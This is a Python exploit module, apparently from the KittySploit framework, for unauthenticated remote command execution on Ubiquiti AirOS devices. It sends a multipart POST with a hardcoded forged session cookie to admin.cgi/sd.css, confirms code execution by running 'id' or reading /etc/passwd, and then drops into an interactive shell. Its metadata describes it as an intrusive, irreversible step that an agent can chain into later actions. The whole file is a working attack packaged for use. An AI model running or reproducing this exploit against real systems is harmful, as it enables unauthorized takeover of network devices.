Ubiquiti AirOS - Unauthenticated CLI RCE

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Ubiquiti AirOS unauthenticated CLI RCE."""

import re

from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.exploit.handler import Handler


class Module(Exploit, Http_client, Handler):
    __info__ = {
        'name': 'Ubiquiti AirOS - Unauthenticated CLI RCE',
        'description': (
            'Exploits AirOS unauthenticated CLI execution via multipart POST to '
            'admin.cgi/sd.css with a forged AIROS_SESSIONID cookie.'
        ),
        'author': ['KittySploit Team'],
        'platform': Platform.LINUX,
        'payload': {'default': 'nopayload'},
        'references': ['https://www.securityfocus.com/bid/51178'],
        'tags': ['ubiquiti', 'airos', 'rce', 'unauth'],
        'agent': {
            'risk': 'intrusive',
            'effects': ['active_exploitation'],
            'expected_requests': 2,
            'reversible': False,
            'approval_required': True,
            'produces': ['exploit_paths', 'risk_signals'],
            'cost': 1.5,
            'noise': 0.4,
            'value': 1.0,
            'requires': {
                'min_endpoints': 0, 'min_params': 0,
                'tech_hints_any': [], 'tech_hints_all': [],
                'specializations_any': [], 'risk_signals_any': [],
                'auth_session': False, 'capabilities_any': [], 'capabilities_all': [],
                'confidence_min': {}, 'confidence_min_any': {},
                'endpoint_pattern_any': [], 'param_any': [], 'api_surface_ready': False,
            },
            'chain': {
                'produces_capabilities': [
                    {'capability': 'rce', 'from_detail': ''},
                    {'capability': 'shell', 'from_detail': ''},
                ],
                'consumes_capabilities': [],
                'option_bindings': {},
                'suggested_followups': ['scanner/http/ubiquiti_airos_rce_detect'],
            },
        },
    }

    cgi_path = OptString('/admin.cgi/sd.css', 'AirOS CGI path', required=False)

    def execute(self, cmd: str) -> str:
        path = str(self.cgi_path or '/admin.cgi/sd.css')
        boundary = '---------------------------15531490717347903902081461200'
        body = (
            f'--{boundary}\r\n'
            'Content-Disposition: form-data; name="exec"\r\n\r\n'
            f'{cmd}\r\n'
            f'--{boundary}\r\n'
            'Content-Disposition: form-data; name="action"\r\n\r\n'
            'cli\r\n'
            f'--{boundary}--\r\n'
        )
        r = self.http_request(
            method='POST',
            path=path,
            data=body,
            headers={
                'Content-Type': f'multipart/form-data; boundary={boundary}',
                'Cookie': 'AIROS_SESSIONID=a447a1b693b321f598389d6972ab5c18; ui_language=pt_PT',
            },
            allow_redirects=False,
        )
        return (r.text or '') if r else ''

    def handler_execute(self):
        out = self.execute('id')
        if not out or not re.search(r'uid=\d+', out):
            out = self.execute('cat /etc/passwd')
            if not out or not re.search(r'root:.*:0:0:', out):
                print_error('Target does not appear vulnerable to AirOS CLI RCE')
                return False
        print_success('Ubiquiti AirOS CLI RCE confirmed')
        self.handler_console()
        return True

    def run(self):
        return self.handler_execute()